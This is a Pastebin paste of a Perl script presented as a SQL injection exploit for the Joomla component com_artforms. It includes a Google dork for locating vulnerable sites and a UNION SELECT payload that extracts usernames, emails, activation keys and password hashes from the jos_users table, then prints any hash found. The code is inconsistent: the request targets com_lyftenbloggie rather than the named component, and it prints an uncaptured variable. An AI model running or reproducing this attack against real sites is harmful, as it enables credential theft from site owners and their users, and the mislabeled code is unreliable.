HaniXavi

Joomla Component com_artforms SQL Injection exploit

Oct 7th, 2014
667
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1.  
  2. #!/usr/bin/perl
  3. #Exploit title: Joomla Component com_artforms SQL Injection exploit
  4. #Google Dork: inurl:index.php?com_artforms
  5. #Exploit Author: Hani Xavi
  6.  
  7. system("color a");
  8. print "*********************************************\n";
  9. print "* Joomla Component com_artforms *\n";
  10. print "* SQL Injection *\n";
  11. print "* Coded by Hani Xavi *\n";
  12. print "*********************************************\n";
  13. sleep 1;
  14. use LWP::UserAgent;
  15. print "Enter the target --> ";
  16. chomp(my $target=<STDIN>);
  17. $code="%20UNION%20SELECT%201,2,3,version%28%29,5,concat_ws%280x3a,activation,0x3a,email,0x3a,username,0x3a,password%29+from+jos_users-;";
  18. $agent = LWP::UserAgent->new() or die "[!] Error while processing";
  19. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
  20. $host= $target. "/index.php?option=com_lyftenbloggie==".$code;
  21. $ok = $agent->request(HTTP::Request->new(GET=>$host));
  22. $ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
  23. print "[+] Password found --> $1\n$2\n";
  24. sleep 1;
  25. }
  26. else
  27. {
  28. print "Password not found \n";
  29. }
Advertisement
Add Comment
Please, Sign In to add comment